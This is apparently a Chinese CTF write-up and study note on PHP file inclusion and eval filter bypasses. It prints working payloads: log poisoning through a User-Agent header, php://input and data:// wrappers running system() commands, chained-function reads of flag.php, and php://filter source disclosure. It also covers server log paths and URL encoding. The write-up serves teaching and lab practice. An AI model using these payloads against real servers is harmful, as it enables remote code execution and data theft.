终于轮到了日志注入

久仰日志注入大名,今天来分析分析。

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

冒号被过滤,不能用伪协议了。直接上日志注入。

先抓包看看响应头 server: 字段,确定是什么服务器软件。(浏览器 F12 也自带查看响应头的工具)

我抓出来是 server: nginx/1.20.1 ,服务器为 nginx。上网查资料,nginx 日志文件位置为: /var/log/nginx/access.log ,一会儿要用。

大多数服务器日志会记录以下信息:

  • 时间戳:请求发生的日期和时间。
  • 客户端IP:访问者的IP地址。
  • 请求方法:如 GETPOSTPUT 等。
  • 请求路径:访问的URL或文件路径(如 /index.html)。
  • HTTP状态码:如 200(成功)、404(未找到)、500(服务器错误)。
  • User-Agent:客户端浏览器或设备信息(可能包含攻击载荷)。
  • Referer:用户从哪个页面跳转而来(可能泄露敏感URL)。
  • 请求参数:GET/POST参数(可能记录敏感数据,如密码、令牌等)。

也就是说可以在请求报文中修改部分信息,插入 PHP 代码,再包含日志文件(前面讲过只有 PHP 代码会被解析,文本会直接返回前端),以达到执行我们需要的命令的目的。

试试看:

第一次发包修改请求体为:

1
file=<?php system('ls') ?>

第二次发包修改请求行:

1
GET /?file=/var/log/nginx/access.log HTTP/1.1

得到了一大堆日志文本,并没有 flag ,原来是日志文件里没有记录请求体,emmmmmm……

但日志文件里记录了请求头,再来一次!

第一次发包修改请求头User-Agent为:

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36<?php system('ls') ?>

在一堆日志的最后找到了 fl0g.php index.php ,总算是成了。

接下来只需要查看文件 fl0g.php 的内容就好,OK。(PS:一大堆日志有点瞎眼,flag 难找)

PHP 伪协议之 php://input

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

此处可大写绕过与 php://input 相结合。

URL:

1
/?file=Php://input

请求体:

1
2
3
<?php system("ls");?>//第一次请求

<?php system("tac fla*");?>//第二次请求

借此讲讲 php://input 怎么用。

php://input 是一个 PHP 内置的伪协议,用于读取 HTTP 请求中的原始数据

从超级全局变量 $_POST 数组读取的是处理过的、作为一个个元素的参数。当需要读取 POST 原始数据时,通常就会用到 php://input 伪协议来读取请求体。因为是直接读取请求体,所以 HTTP method 不是 POST 也能读取

所以,我们可以发送请求时抓包,然后修改请求体为 Payload ,并把 URL 中将要被文件包含的参数的值改为 php://input ,最后发包看看响应的效果。

一些辨析

php:// 伪协议与 data:// 伪协议

php:// 伪协议

1
php://filter/[操作]/[过滤器链]/resource=[目标资源]

data:// 伪协议

1
data://<MIME类型>[;charset=<编码>][;base64],<数据>
  • php:// 伪协议可用于转换文件内容为 Base64 编码,使文件包含时 PHP 文件不会被解析,而是作为 Base64 文本返回前端。

  • data:// 伪协议自由度较高,可用于文件包含时执行命令。

多层函数绕过过滤

题目

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

不要被 \(|\) 吓住了,过滤的是中文括号。

直接看 payload 吧:

Payload1

1
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

解析

  1. localeconv()
    返回包含本地化数字和货币格式信息的关联数组(有关各种货币相关符号与货币数据格式,有兴趣可自行找资料看看,本处只涉及小数点),**该数组的第一个元素通常是小数点.**(如['.', ...]),被我们借来表示当前目录。

  2. pos()
    **别名current()**,返回数组内部指针当前位置的值。PHP数组有一个隐藏的 “内部指针”初始指向第一个元素。此处指向 localeconv() 生成数组中的第一个元素 . ,用于表示当前目录( Linux 知识点)。

  3. scandir('.')
    扫描当前目录,返回按升序排列的文件列表,例如:['.', '..', 'flag.php', 'index.php']

  4. array_reverse()
    反转数组顺序,得到:['index.php', 'flag.php', '..', '.']

  5. next()
    将数组内部指针从第一个元素(index.php)后移一位,返回第二个元素flag.php
    关于数组指针操作函数,参考以下表格。
    数组指针操作函数返回值规则

    函数 是否移动指针 返回值
    current() / pos() 当前指针位置的值(越界返回 false
    next() 是(后移) 新位置的值(越界返回 false
    prev() 是(前移) 新位置的值(越界返回 false
    reset() 是(重置) 数组第一个元素(空数组返回 false
    end() 是(跳末) 数组最后一个元素(空数组返回 false
    key() 当前指针位置的键名(越界返回 null
  6. highlight_file('flag.php')
    高亮显示flag.php的源码,直接输出文件内容。

最终 flag.php 回显到前端。若输出的不是 flag.php 文件的内容,可能需要自行移动指针位置来找找。

Payload2

1
?c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php"); 

解析

get_defined_vars():返回当前作用域中所有变量的数组,包括超全局变量(如$_GET)。
超全局变量(如 $_GET$_POST$_SERVER 等)默认位于返回数组的最前端。它们会以固定的顺序排列,但具体顺序由 PHP 内核决定,第一个通常是 $_GET
用户定义的变量(如 $a = 1;)会紧随超全局变量之后。它们的排列顺序通常与代码中的定义顺序一致,但某些情况下可能受 PHP 优化影响(例如变量未使用时可能被忽略)。

其他数组指针操作函数参考上面的表格。于是得到层叠函数执行的过程:

get_defined_vars() 函数返回变量数组;

reset() 函数操作变量数组,返回第一个元素 $_GET ;(由于数组内部指针初始指向第一个元素,所以此处也可以用 pos()/current()

next() 函数操作 $_GET 数组, $_GET 数组的元素顺序按照 URL 中参数顺序排列,所以返回 $_GET 数组中第二个参数 pay 的值;

最后 eval() 函数会执行 pay 的值 system("tac flag.php");

data:// 伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

与前面的题相比,没有了 eval() 函数,但可通过 data:// 伪协议解决。

什么是 data:// 伪协议:

data:// 伪协议允许直接在 URI 中嵌入数据(如文本或 Base64 编码的内容),常用于动态生成数据流。

tips

URI 统一资源标识符,URI 包括 URL 和 URN,或其他特殊形式,比如此处的 data:// 伪协议。URL 通过协议、位置等标识资源;URN 仅通过名称标识资源。

人话:data:// 伪协议相当于在 data:// 后写入数据, data:// 及其后的数据会被当作文件处理。

看看实例就明白了:

1
2
3
$uri = 'data://text/plain;base64,SGVsbG8gV29ybGQh'
$data = file_get_contents($uri);
echo $data;
1
data://<MIME类型>[;charset=<编码>][;base64],<数据>
  • 核心参数:MIME类型、charset(可选)、base64(可选)、数据内容。

  • 分隔符:用分号 ; 分隔参数,逗号 , 分隔参数和数据。

  • 参数选项

    • MIME类型:指定数据的媒体类型(Multipurpose Internet Mail Extensions)。常见的MIME类型有:

      类型 示例值 说明
      文本类 text/plain 纯文本(默认值,可省略但建议显式声明)
      text/html HTML 内容
      text/css CSS 样式表
      text/javascript JavaScript 代码
      图像类 image/png PNG 图片
      image/jpeg JPEG 图片
      image/gif GIF 图片
      应用类 application/json JSON 数据
      application/xml XML 数据
      application/pdf PDF 文档
      其他 audio/mpeg MP3 音频
      video/mp4 MP4 视频
    • charset(字符编码):指定数据的字符编码(仅对文本类 MIME 类型有效)。如UTF-8 与 GBK。

    • base64:声明数据部分使用 Base64 编码(显而易见非文本类数据必须使用)。(可用于绕过过滤)

      适用场景

      • 数据包含特殊字符(如 , ; \n)。
      • 二进制数据(如图片、音频)。
    • 数据部分:实际内容,可以是明文或 Base64 编码的字符串。未启用 Base64 编码,数据按明文处理时,需对特殊字符(,/;/%)进行 URL 编码(本身作为参数、数据的分隔符)。

本题解析

1
?c=data://text/plain,<?php system("tac fla*.php")?>

就是让 data://text/plain,<?php system("tac fla*.php")?> 作为被包含的文件,它将会因为 <?php 被识别为 PHP 文件,被解析并执行。于是$flag 被赋值并回显,OK。

变体

  • 将正则表达式修改为 "/flag|php|file/i"<?php ?> 没法用,但可用短标签 <? ?> 、**短输出标签 <?= ?>**或者 Base64 编码绕过。( <? ?> 就是简化版的 <?php ?><?= ?> 用于直接输出内容,如 <?= "Hello" ?> 等价于 <?php echo "Hello"; ?> 。此外 <? ?> 仅在 PHP 配置文件 php.inishort_open_tag 选项设置为 On 时有效;<?= ?> 则无需配置即生效)

  • 将文件包含改为 include($c.".php"); 的情况(往data://数据的最后拼接了.php)。其实只有 <?php ?> 中的内容会被解析,文件中 PHP 代码以外的文本会直接回显到网页(例如,此处如果$c要执行的命令无任何返回值,则网页上只会出现.php,因为.php在 PHP 代码以外)

文件包含与 php:// 伪协议

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

大量过滤,无法使用空格、分号、单引号和括号。

所以利用文件包含漏洞, payload 如下:

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  • include :文件包含标识符。

在 PHP 中常用的文件包含语句有以下四种:

  • include()

    找不到被包含的文件时只会产生警告,脚本将继续运行。

  • include_once()

    include() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  • require()

    找不到被包含的文件时会产生致命错误,并停止脚本运行。

  • require_once()

    require() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

当以上 四种函数 参数可控的情况下,我们需要知道以下两点特性,

  • 若文件内容符合 PHP 语法规范(例如有 <?php ),包含时不管扩展名是什么都会被 PHP 解析。
  • 若文件内容不符合 PHP 语法规范则可能暴漏其源码。
  • 为什么是 include$_GET[1]

    include() 不是函数,可以用括号也可以加空格:

    1
    2
    include($_GET[1])
    include $_GET[1]

    另外, PHP 解释器会把 include$_GET[1] 中的 $_GET[1] 解析为变量而不会因为无空格就报错。

  • ?> 是干什么的?

    因为分号被过滤了,语句不完整会报错无法执行,所以要找分号的代替品。 ?> 前的代码会被解析为 PHP 的最后一句代码,不用加分号也不会报错。此外,eval() 函数不是把 PHP 语句“插入”到代码中再执行,所以这里不会出现 ?> 把后面的代码全部截断的问题。

  • 为什么不直接写文件路径 ./flag.php 而是写一长串 php:// 开头的东西?

    文件包含时:

    • 若文件内容包含有效的PHP标签(如<?php开头),PHP会解析并执行标签内的代码,标签外的文本会直接输出。
      • PHP 解析器从 <?php 开始解析代码,直到遇到 ?>文件末尾
      • 如果文件末尾没有 ?>,解析器会直接执行到文件结束,不会报错,且所有代码均有效。
    • 若文件内容没有PHP标签,PHP会将其视为纯文本或HTML,直接输出内容到前端

    剧透一下 flag.php 文件,这个文件有<?php开头,语法也正确,所以会被解析为 PHP 文件。但文件内只有一个变量的定义,没有任何输出,所以直接访问该文件不会回显内容。

  • php://filter/convert.base64-encode/resource=flag.php 是什么?

    PHP 的 php:// 伪协议(PHP Wrapper Protocols)是一种用于访问输入/输出流(I/O Streams)和内存资源的特殊协议。它允许开发者通过文件系统函数(如 file_get_contents()file_put_contents()fopen() 等)直接操作数据流,而无需真实的物理文件。

    像这样的文件包含协议还有file://data://等等。后面会详细展开。

    简单说说 php:// 伪协议的几种用法(此处不细讲):

    • php://input :读取原始的 HTTP 请求体数据(如 POST 数据)。

    • php://output :直接向输出缓冲区写入数据。

    • php://stdinphp://stdoutphp://stderr :访问标准输入、输出和错误流(常用于命令行脚本)。

    • php://filter :对数据流应用过滤器(如编码转换、压缩)。(本题所用方法)

    • php://tempphp://memory :临时存储数据到内存或临时文件。

    • php://fd :直接访问文件描述符(File Descriptor)。

    本题所用的 php://filter 与其说是“过滤器”,不如说是“转换器”,即读/写时转换目标资源内容的编码、格式等。先看看基本语法:

    1
    php://filter/[操作]/[过滤器链]/resource=[目标资源]
    • 操作read(读取时过滤)、write(写入时过滤)或空(默认同时应用读写)。
    • 过滤器链:多个过滤器用 | 分隔,按顺序执行(无过滤器会输出原始文件)。
    • 目标资源:可以是文件路径、URL 或其他伪协议(如 php://input)。

    关于过滤器链,PHP 内置了多种过滤器,分为几类:

    • 字符串处理

      • string.rot13:对字符串进行 ROT13 编码(把英文字母按字母表往后推 13 位,因为字母表有 26 位,所以加解密可以用同一套算法)。

      • string.toupper / string.tolower:转大写/小写。

      • string.strip_tags:去除 HTML/PHP 标签。

    • 编码转换

      • convert.base64-encode / convert.base64-decode:Base64 编解码。
      • convert.quoted-printable-encode / convert.quoted-printable-decode:QP 编解码。
      • convert.iconv.*:字符集转换(需安装 iconv 扩展)。
    • 压缩处理

      • zlib.deflate / zlib.inflate:使用 Zlib 压缩/解压。
      • bzip2.compress / bzip2.decompress:Bzip2 压缩/解压。
    • 加密

      • mcrypt.* / mdecrypt.*:加密解密(已废弃,不建议使用)。

    所以本题是通过 convert.base64-encode 把会被解析成 PHP 文件、无回显的 flag.php 转换为 Base64 编码然后输出,绕过了 PHP 文件的解析。

    Base64 解码得(已删去注释):

    1
    2
    <?php
    $flag="ctfshow{ead582c0-8247-4aa9-a2fa-abc1bb47c29d}";

    <?php开头且语法正确,但作用仅仅是定义了一个变量$flag,所以直接包含该文件会解析为 PHP 文件且无回显。转换为 Base64 编码,则被识别为文本文件,直接回显内容。

关于服务器的知识(持续增加)

访问的是 PHP 文件,为什么前端得到的是 HTML 文件

服务器收到客户端浏览器发来的请求后,会检查储存在服务器上的对应文件类型。

若发现文件是静态文件.html/.css/.js ),则直接将文件返回给浏览器;

如果有动态内容(如 .php ),则发送给处理对应内容的插件生成内容,然后将内容返回给浏览器(如将请求转发给 PHP 解释器,然后返回处理结果)。

若服务器未安装生成对应动态内容的插件或模块,或未正确进行配置,则无法正常返回网页(如 Nginx 或 Apache 在没有配置 PHP 支持时,会对 .php 请求返回 403 Forbidden404 Not Found ,甚至直接显示PHP源代码)。

如果服务器识别不了文件(如 .txt/.exe 等),则会直接把文件不作处理发给客户端,呈现在用户面前的就是该文件加入浏览器的“下载”列表。

常见服务器软件日志路径

服务器软件 访问日志路径(默认) 错误日志路径(默认)
Apache /var/log/apache2/access.log (Linux) /var/log/apache2/error.log
C:\Apache24\logs\access.log (Windows) C:\Apache24\logs\error.log
Nginx /var/log/nginx/access.log (Linux) /var/log/nginx/error.log
C:\nginx\logs\access.log (Windows) C:\nginx\logs\error.log
IIS %SystemDrive%\inetpub\logs\LogFiles\ 同目录下按站点分级的错误日志

关于“空白”网页无 JavaScript 代码却有弹窗的问题

做题遇到的网页,源代码只有一个 html 文件,内容如下:

1
2
3
4
5
6
7
8
9

<!-- saved from url=(0029)chrome-error://chromewebdata/ -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
</body>
</html>

在没有任何 JavaScript 代码的情况下,打开网页时有一弹窗,有两个输入框分别输入账号密码,下方有“登录”或“取消”两选项。该网页源代码没有任何涉及弹窗的内容,所以出现弹窗看起来很反常。

其实是利用了 HTTP Basic 认证协议:

  • 当服务器返回 401 Unauthorized 状态码时,浏览器会强制自动弹出账号密码输入框。这是 HTTP 协议规定的标准行为,无需前端代码。

  • 用户输入的账号密码会被浏览器自动拼接为 username:password 格式,并进行 Base64 编码,最终添加到请求头的 Authorization 字段中:

    1
    Authorization: Basic base64(username:password)

    上述 base64(username:password) 实际替换为账号、冒号与密码拼接成的字符串的 Base64 编码。

    Basic 是认证方式,表示 HTTP Basic Authentication (基本认证),还有 DigestBearer Token (Token-Based) 以及其他许多认证方式。

全过程由浏览器原生实现,不需要任何 JavaScript 代码。

URL 知识点

1
https://www.example.com:8080/path/to/resource?query=param#fragment
  • https://

    协议(Scheme)。其他常见协议:httpftp

  • www.example.com

    域名(Host/Domain)。

  • :8080

    端口(Port)。默认端口如80443等可省略,非标准端口需要显式声明。

  • /path/to/resource

    路径(Path)。

  • ?query=param

    查询参数(Query String)。以?开头,键值对形式,多个参数用&连接。

  • #fragment

    片段标识符(Fragment)。以#开头。用于在客户端定位页面内的特定部分(如锚点链接),不会发送到服务器

了解了 URL 的结构,再要了解 URL 编码也就不难了。

先放个定义: URL 编码(百分号编码)确保 URL 的正确传输和解析,主要处理保留字符、非 ASCII 字符及不安全字符。如/, ?, &, =, #, %等。

那么何时需要 URL 编码呢?

提前总结: URL 要用到某个符号的部分(例如路径中用到 / )或因为历史遗留问题禁用某个符号的,就要转码。

  • 路径(Path)
    • 允许直接使用:字母、数字、-_.~/(分隔路径)。
    • 需要转码的字符:
      • 空格 → 转为 %20+(但 + 在路径中可能被误解,建议用 %20)。
      • 其他保留字符(如 / , ?, #, [, ], @ 等)在路径中出现时需转码。
      • 非 ASCII 字符(如中文)→ 用 UTF-8 编码后转码,例如 张三%E5%BC%A0%E4%B8%89
    • 全部符号:
      • 控制字符(0x00-0x1F, 0x7F)
      • 空格(0x20 → %20
      • 双引号 "(0x22 → %22
      • 井号 #(0x23 → %23
      • 百分号 %(0x25 → %25,当不作为编码前缀时)
      • 斜杠 /(0x2F → %2F,当出现在路径段内而非分隔符时)
      • 尖括号 < >(0x3C → %3C,0x3E → %3E
      • 问号 ?(0x3F → %3F,路径结束后才是查询部分)
      • 方括号 [ ](0x5B → %5B,0x5D → %5D
      • 反斜杠 \(0x5C → %5C
      • 插入符 ^(0x5E → %5E
      • 反引号 ```(0x60 → %60
      • 花括号 { }(0x7B → %7B,0x7D → %7D
      • 竖线 |(0x7C → %7C
  • 查询参数(Query String)
    • 允许直接使用:字母、数字、-_.~
    • 需要转码的字符:
      • 空格 → 通常转为 +%20(两者都常见)。
      • 保留字符:=, &, +, ?, #, % 等。例如:
        • &%26
        • =%3D
        • ?%3F
      • 非 ASCII 字符 → UTF-8 转码,例如 张三%E5%BC%A0%E4%B8%89
    • 全部符号:
      • 控制字符
      • 空格(0x20 → %20+
      • 双引号 "(0x22 → %22
      • 井号 #(0x23 → %23
      • 百分号 %(0x25 → %25
      • 与号 &(0x26 → %26,当不作为参数分隔符时)
      • 加号 +(0x2B → %2B,当不作为空格替代符时)
      • 尖括号 < >(0x3C → %3C,0x3E → %3E
      • 等号 =(0x3D → %3D,当不作为键值分隔符时)
      • 方括号 [ ](0x5B → %5B,0x5D → %5D
      • 反斜杠 \(0x5C → %5C
      • 插入符 ^(0x5E → %5E
      • 反引号 ```(0x60 → %60
      • 花括号 { }(0x7B → %7B,0x7D → %7D
      • 竖线 |(0x7C → %7C
  • 片段标识符(Fragment,即 # 后的部分)
    • 规则与查询参数类似,但 # 本身必须转码为 %23
    • 全部符号:
      • 控制字符
      • 空格(0x20 → %20
      • 双引号 "(0x22 → %22
      • 井号 #(0x23 → %23,否则会被视为片段起始符)
      • 百分号 %(0x25 → %25
      • 尖括号 < >(0x3C → %3C,0x3E → %3E
      • 方括号 [ ](0x5B → %5B,0x5D → %5D
      • 反斜杠 \(0x5C → %5C
      • 插入符 ^(0x5E → %5E
      • 反引号 ```(0x60 → %60
      • 花括号 { }(0x7B → %7B,0x7D → %7D
      • 竖线 |(0x7C → %7C